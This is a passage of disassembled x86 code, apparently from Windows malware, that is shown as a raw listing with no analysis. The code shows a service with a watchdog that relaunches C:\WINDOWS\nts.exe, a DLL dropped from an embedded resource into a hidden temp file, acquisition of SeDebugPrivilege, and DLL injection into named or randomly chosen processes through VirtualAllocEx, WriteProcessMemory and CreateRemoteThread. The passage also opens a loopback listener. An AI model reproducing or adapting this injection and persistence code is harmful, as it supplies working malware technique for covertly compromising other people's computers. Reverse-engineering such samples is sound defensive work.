		push	offset a6ea9b038C801_0 ; "{6EA9B038-C801-4F76-805F-E41ACF9ED164}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D40	; CreateEventA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4058DA
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_407260
		pop	ecx
		jmp	short loc_4058ED
; ---------------------------------------------------------------------------


loc_4058DA:				; CODE XREF: sub_405870+5Bj
		call	dword_411CE8	; RtlGetLastWin32Error
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_407260
		pop	ecx
		pop	ecx


loc_4058ED:				; CODE XREF: sub_405870+68j
		push	0
		push	0
		push	offset sub_405BE3
		call	sub_407910
		add	esp, 0Ch
		push	eax
		call	dword_411CF8	; CloseHandle
		push	0
		push	0
		push	offset sub_406677
		call	sub_407910
		add	esp, 0Ch
		mov	esi, eax


loc_405918:				; CODE XREF: sub_405870:loc_405967j
		test	ebx, ebx
		jz	short loc_405952
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_407260
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D48	; WaitForMultipleObjects
		mov	edi, eax
		test	edi, edi
		jz	short loc_405948
		cmp	edi, 1
		jnz	short loc_405967


loc_405948:				; CODE XREF: sub_405870+D1j
		push	1
		call	sub_4079E0
		pop	ecx
		jmp	short loc_405967
; ---------------------------------------------------------------------------


loc_405952:				; CODE XREF: sub_405870+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_405967
		push	1
		call	sub_4079E0
		pop	ecx


loc_405967:				; CODE XREF: sub_405870+D6j
					; sub_405870+E0j ...
		jmp	short loc_405918
sub_405870	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_405970:				; DATA XREF: DMN0:004059E6o
					; DMN1:00446967o
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_405985
		cmp	eax, 4
		jz	short loc_4059A2
		cmp	eax, 5
		jz	short loc_4059B5
		jmp	short locret_4059D8
; ---------------------------------------------------------------------------


loc_405985:				; CODE XREF: DMN0:00405977j
		mov	dword_41293C, 4
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_4059D8
; ---------------------------------------------------------------------------


loc_4059A2:				; CODE XREF: DMN0:0040597Cj
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_4059D8
; ---------------------------------------------------------------------------


loc_4059B5:				; CODE XREF: DMN0:00405981j
		mov	dword_41293C, 1
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		push	1
		call	sub_4079E0
		pop	ecx

locret_4059D8:				; CODE XREF: DMN0:00405983j
					; DMN0:004059A0j ...
		retn	4
; ---------------------------------------------------------------------------


loc_4059DB:				; DATA XREF: sub_405AC9+18o
					; sub_446A4A+18o
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_407260
		pop	ecx
		push	offset loc_405970
		push	off_412958
		call	dword_411E70	; RegisterServiceCtrlHandlerA
		mov	dword_412954, eax
		cmp	dword_412954, 0
		jz	loc_405ABB
		push	1
		push	offset dword_411044
		call	dword_411D04	; InterlockedExchange
		push	1Ch
		push	0
		push	offset dword_412938
		call	sub_4075D0
		add	esp, 0Ch
		mov	dword_412938, 110h
		mov	dword_41293C, 2
		and	dword_412940, 0
		mov	dword_412950, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_407260
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		mov	dword_41293C, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_407260
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		call	sub_405870
; ---------------------------------------------------------------------------
		mov	dword_41293C, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_407260
		pop	ecx
		push	offset dword_412938
		push	dword_412954
		call	dword_411E6C	; SetServiceStatus
		jmp	short locret_405AC6
; ---------------------------------------------------------------------------


loc_405ABB:				; CODE XREF: DMN0:00405A03j
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_407260
		pop	ecx

locret_405AC6:				; CODE XREF: DMN0:00405AB9j
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_405AC9	proc near		; CODE XREF: DMN0:00405B0Fp
					; sub_4066F1+532p
		push	ebx
		call	sub_40410E
		test	eax, eax
		jz	short loc_405AD7
		xor	eax, eax
		jmp	short loc_405B0D
; ---------------------------------------------------------------------------


loc_405AD7:				; CODE XREF: sub_405AC9+8j
		mov	eax, off_412958
		mov	dword_41295C, eax
		mov	dword_412960, offset loc_4059DB
		and	dword_412964, 0
		and	dword_412968, 0
		push	offset dword_41295C
		call	dword_411E74	; StartServiceCtrlDispatcherA
		mov	ebx, eax
		call	sub_404162
		mov	eax, ebx


loc_405B0D:				; CODE XREF: sub_405AC9+Cj
		pop	ebx
		retn
sub_405AC9	endp

; ---------------------------------------------------------------------------
		call	sub_405AC9
		call	sub_4079A0
		retn
; ---------------------------------------------------------------------------
		call	sub_404E56
		mov	dword_411040, eax
		call	sub_4079A0
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B2A	proc near		; CODE XREF: sub_405BE3+64p
					; sub_4066F1+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_4075D0
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDC7 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407670
		pop	ecx
		pop	ecx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset asc_40E5AD ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_405B9A
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_407690
		pop	ecx
		pop	ecx


loc_405B9A:				; CODE XREF: sub_405B2A+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D10	; CreateProcessA
		test	eax, eax
		jz	short loc_405BDF
		push	[ebp+var_850]
		call	dword_411CF8	; CloseHandle
		push	[ebp+var_854]
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax


loc_405BDF:				; CODE XREF: sub_405B2A+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_405B2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_405BE3	proc near		; DATA XREF: sub_405870+81o
					; sub_4467F1+81o
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_2
		pop	ecx


loc_405BF0:				; CODE XREF: sub_405BE3:loc_405C78j
		xor	ebx, ebx
		push	offset aCWindowsNts_ex ; "C:\\WINDOWS\\nts.exe"
		call	dword_411D4C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405C6D
		call	sub_404CB8
		test	eax, eax
		jz	short loc_405C2C
		call	sub_4050B1
		test	eax, eax
		jnz	short loc_405C1B
		call	sub_405187


loc_405C1B:				; CODE XREF: sub_405BE3+31j
		call	sub_404E08
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405C39
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_405C39
; ---------------------------------------------------------------------------


loc_405C2C:				; CODE XREF: sub_405BE3+28j
		call	sub_404F2A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405C39
		xor	ebx, ebx
		inc	ebx


loc_405C39:				; CODE XREF: sub_405BE3+42j
					; sub_405BE3+47j ...
		test	ebx, ebx
		jz	short loc_405C60
		call	sub_404162
		push	offset asc_40E58D ; "**"
		call	sub_405B2A
		pop	ecx
		test	eax, eax
		jz	short loc_405C59
		push	0
		call	sub_4079E0
		pop	ecx


loc_405C59:				; CODE XREF: sub_405BE3+6Cj
		call	sub_40410E
		jmp	short loc_405C78
; ---------------------------------------------------------------------------


loc_405C60:				; CODE XREF: sub_405BE3+58j
		push	1F4h
		call	dword_411D00	; Sleep
		jmp	short loc_405C78
; ---------------------------------------------------------------------------


loc_405C6D:				; CODE XREF: sub_405BE3+1Fj
		push	2710h
		call	dword_411D00	; Sleep


loc_405C78:				; CODE XREF: sub_405BE3+7Bj
					; sub_405BE3+88j
		jmp	loc_405BF0
sub_405BE3	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405C80	proc near		; DATA XREF: sub_405CF6+76o
					; DMN1:00446CEDo

var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		mov	esi, eax
		push	dword_41296C
		call	dword_411D50	; ResetEvent


loc_405C97:				; CODE XREF: sub_405C80+4Bj
		mov	[ebp+var_1], 0
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_4016DC
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_405CCD
		cmp	[ebp+var_1], 2Ah
		jnz	short loc_405CCD
		push	1
		lea	eax, [ebp+var_1]
		push	eax
		push	esi
		call	sub_401787
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_405CCD
		jmp	short loc_405C97
; ---------------------------------------------------------------------------


loc_405CCD:				; CODE XREF: sub_405C80+2Ej
					; sub_405C80+34j ...
		push	esi
		call	sub_4014C2
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41296C
		call	dword_411D44	; SetEvent
		call	sub_4079A0
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405C80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405CF6	proc near		; DATA XREF: sub_406422+11o
					; sub_4473A3+11o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_401359
		mov	dword_41104C, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_2
		pop	ecx
		push	15B7h
		push	100007Fh
		push	dword_41104C
		call	sub_4015B7
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405D96
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41104C
		call	sub_401607
		pop	ecx
		test	eax, eax
		jz	short loc_405D96
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_2
		pop	ecx
		push	dword_41104C
		call	sub_401621
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_405D96
		mov	eax, [ebp+var_4]
		push	eax
		push	0
		push	offset sub_405C80
		call	sub_407910
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		push	eax
		call	dword_411CF8	; CloseHandle
		push	dword_41104C
		call	sub_4014C2
		pop	ecx
		and	dword_41104C, 0


loc_405D96:				; CODE XREF: sub_405CF6+35j
					; sub_405CF6+50j ...
		cmp	dword_41104C, 0
		jz	short loc_405DAB
		push	dword_41104C
		call	sub_4014C2
		pop	ecx


loc_405DAB:				; CODE XREF: sub_405CF6+A7j
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_2
		pop	ecx
		call	sub_4079A0
		mov	esp, ebp
		pop	ebp
		retn
sub_405CF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_405DBF	proc near		; CODE XREF: sub_40637D+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_405DD1
; ---------------------------------------------------------------------------


loc_405DC9:				; CODE XREF: sub_405DBF+14j
		call	dword_411CC4	; GetTickCount
		mov	esi, eax


loc_405DD1:				; CODE XREF: sub_405DBF+8j
		test	esi, esi
		jz	short loc_405DC9
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_405DBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DF3	proc near		; CODE XREF: sub_405EFE+9Ep
					; sub_405EFE+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411054, 0
		jz	short loc_405E1B
		push	dword_411054
		call	dword_411CF8	; CloseHandle
		and	dword_411054, 0


loc_405E1B:				; CODE XREF: sub_405DF3+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D54	; FindResourceA
		mov	esi, eax
		test	eax, eax
		jz	loc_405EF7
		push	esi
		push	0
		call	dword_411D58	; SizeofResource
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D5C	; LoadResource
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_405EF7
		push	[ebp+var_8]
		call	dword_411D60	; LockResource
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_405EF7
		push	80h
		push	ebx
		call	dword_411D28	; SetFileAttributesA
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_407300
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_405EA7
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_405EF7
; ---------------------------------------------------------------------------


loc_405EA7:				; CODE XREF: sub_405DF3+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_407760
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_407560
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_2
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D28	; SetFileAttributesA
		cmp	[ebp+var_10], 1
		jz	short loc_405EF4
		xor	eax, eax
		jmp	short loc_405EF7
; ---------------------------------------------------------------------------


loc_405EF4:				; CODE XREF: sub_405DF3+FBj
		xor	eax, eax
		inc	eax


loc_405EF7:				; CODE XREF: sub_405DF3+3Bj
					; sub_405DF3+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405EFE	proc near		; CODE XREF: sub_406485:loc_406551p

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_407730
		cmp	dword_411050, 0
		jz	short loc_405F54
		push	offset aR	; "r"
		push	offset dword_412970
		call	sub_407300
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_405F54
		push	offset dword_412970
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_407560
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_40603E
; ---------------------------------------------------------------------------


loc_405F54:				; CODE XREF: sub_405EFE+14j
					; sub_405EFE+2Fj
		push	offset dword_412970
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		push	offset aNts_	; "nts_"
		push	offset dword_412970
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412970
		call	sub_407690
		pop	ecx
		pop	ecx
		push	offset dword_412970
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_405DF3
		pop	ecx
		test	eax, eax
		jz	short loc_405FC6
		push	offset dword_412970
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_40603E
; ---------------------------------------------------------------------------


loc_405FC6:				; CODE XREF: sub_405EFE+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D1C	; GetTempPathA
		push	offset dword_412970
		push	0
		push	offset aNts_	; "nts_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D20	; GetTempFileNameA
		push	offset dword_412970
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	offset dword_412970
		call	sub_405DF3
		pop	ecx
		test	eax, eax
		jz	short loc_406031
		push	offset dword_412970
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		mov	dword_411050, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_40603E
; ---------------------------------------------------------------------------


loc_406031:				; CODE XREF: sub_405EFE+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_2
		pop	ecx
		xor	eax, eax


loc_40603E:				; CODE XREF: sub_405EFE+51j
					; sub_405EFE+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_405EFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406042	proc near		; CODE XREF: sub_4061E6+6p
					; sub_4062AE+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E78	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4060B8
		call	dword_411D64	; GetCurrentProcess
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E7C	; OpenProcessToken
		test	eax, eax
		jz	short loc_4060B8
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E80	; AdjustTokenPrivileges
		call	dword_411CE8	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_4060B5
		xor	eax, eax
		jmp	short loc_4060B8
; ---------------------------------------------------------------------------


loc_4060B5:				; CODE XREF: sub_406042+6Dj
		xor	eax, eax
		inc	eax


loc_4060B8:				; CODE XREF: sub_406042+19j
					; sub_406042+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_406042	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4060BC	proc near		; CODE XREF: sub_4061E6+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_407730
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D68	; VirtualAllocEx
		mov	esi, eax
		test	eax, eax
		jz	loc_4061DF
		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_2
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D6C	; GetModuleHandleA
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D70	; GetProcAddress
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_407670
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1004]
		push	eax
		push	1000h
		lea	eax, [ebp+var_1000]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_411D74	; WriteProcessMemory
		test	eax, eax
		jz	short loc_4061DF
		push	offset aWriteprocessme ; "WriteProcessMemory() ok\n"
		call	nullsub_2
		pop	ecx
		push	[ebp+arg_4]
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		push	0
		push	esi
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_411D78	; CreateRemoteThread


loc_4061DF:				; CODE XREF: sub_4060BC+2Bj
					; sub_4060BC+EEj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4060BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4061E6	proc near		; CODE XREF: sub_4062AE+6Fp
					; sub_40637D+5Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		call	sub_406042
		push	[ebp+arg_0]
		push	0
		push	1F0FFFh
		call	dword_411D7C	; OpenProcess
		mov	ebx, eax
		push	offset aProcessOpened_ ; "process opened.\n"
		call	nullsub_2
		pop	ecx
		test	ebx, ebx
		jz	loc_4062A6
		push	[ebp+arg_4]
		push	ebx
		call	sub_4060BC
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_40629F
		push	esi
		push	offset aThreadInjected ; "thread injected (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		push	esi
		call	dword_411D34	; WaitForSingleObject
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	dword_411D80	; GetExitCodeThread
		push	[ebp+var_4]
		push	offset aThreadComplete ; "thread complete (%i).\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	esi
		call	dword_411CF8	; CloseHandle
		push	ebx
		call	dword_411CF8	; CloseHandle
		cmp	[ebp+var_4], 20h
		jnb	short loc_40626F
		xor	eax, eax
		jmp	short loc_4062A8
; ---------------------------------------------------------------------------


loc_40626F:				; CODE XREF: sub_4061E6+83j
		push	[ebp+arg_4]
		push	offset aDllInjected ; "DLL injected!\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		cmp	dword_411054, 0
		jz	short loc_40629A
		push	dword_411054
		call	dword_411CF8	; CloseHandle
		and	dword_411054, 0


loc_40629A:				; CODE XREF: sub_4061E6+9Fj
		xor	eax, eax
		inc	eax
		jmp	short loc_4062A8
; ---------------------------------------------------------------------------


loc_40629F:				; CODE XREF: sub_4061E6+3Fj
		push	ebx
		call	dword_411CF8	; CloseHandle


loc_4062A6:				; CODE XREF: sub_4061E6+2Aj
		xor	eax, eax


loc_4062A8:				; CODE XREF: sub_4061E6+87j
					; sub_4061E6+B7j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4061E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4062AE	proc near		; CODE XREF: sub_406485+E6p

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
var_104		= byte ptr -104h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_406042
		push	0
		push	2
		call	sub_406C9C	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	loc_406376
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406CA2	; Process32First


loc_4062EF:				; CODE XREF: sub_4062AE+BDj
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_411D38	; lstrcmpi
		test	eax, eax
		jnz	short loc_40635C
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithS ; "trying <%s> with <%s>\n"
		call	nullsub_2
		add	esp, 0Ch
		push	esi
		push	[ebp+var_120]
		call	sub_4061E6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_406347
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aS	; "<%s>\n"
		call	nullsub_2
		pop	ecx
		pop	ecx
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_406376
; ---------------------------------------------------------------------------


loc_406347:				; CODE XREF: sub_4062AE+78j
		push	esi
		lea	eax, [ebp+var_104]
		push	eax
		push	offset aTryingSWithSFa ; "trying <%s> with <%s>	failed\n"
		call	nullsub_2
		add	esp, 0Ch


loc_40635C:				; CODE XREF: sub_4062AE+51j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406CA8	; Process32Next
		test	eax, eax
		jnz	short loc_4062EF
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax


loc_406376:				; CODE XREF: sub_4062AE+24j
					; sub_4062AE+97j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4062AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637D	proc near		; CODE XREF: sub_406485+FBp

var_128		= dword	ptr -128h
var_120		= dword	ptr -120h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 128h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		push	offset dword_411058
		call	sub_405DBF
		pop	ecx
		mov	ecx, 100h
		cdq
		idiv	ecx
		lea	esi, [edx+1]
		call	sub_406042
		jmp	short loc_406415
; ---------------------------------------------------------------------------


loc_4063A9:				; CODE XREF: sub_40637D+9Aj
		push	0
		push	2
		call	sub_406C9C	; CreateToolhelp32Snapshot
		mov	edi, eax
		test	eax, eax
		jz	short loc_40641B
		mov	[ebp+var_128], 128h
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406CA2	; Process32First


loc_4063CF:				; CODE XREF: sub_40637D+8Fj
		dec	esi
		test	esi, esi
		jnz	short loc_4063FD
		push	ebx
		push	[ebp+var_120]
		call	sub_4061E6
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4063F2
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		inc	eax
		jmp	short loc_40641B
; ---------------------------------------------------------------------------


loc_4063F2:				; CODE XREF: sub_40637D+67j
		push	edi
		call	dword_411CF8	; CloseHandle
		xor	eax, eax
		jmp	short loc_40641B
; ---------------------------------------------------------------------------


loc_4063FD:				; CODE XREF: sub_40637D+55j
		lea	eax, [ebp+var_128]
		push	eax
		push	edi
		call	sub_406CA8	; Process32Next
		test	eax, eax
		jnz	short loc_4063CF
		push	edi
		call	dword_411CF8	; CloseHandle


loc_406415:				; CODE XREF: sub_40637D+2Aj
		test	esi, esi
		jnz	short loc_4063A9
		xor	eax, eax


loc_40641B:				; CODE XREF: sub_40637D+39j
					; sub_40637D+73j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40637D	endp


; =============== S U B	R O U T	I N E =======================================



sub_406422	proc near		; CODE XREF: sub_406485+45p
					; sub_406485+115p
		push	ebx
		push	dword_41296C
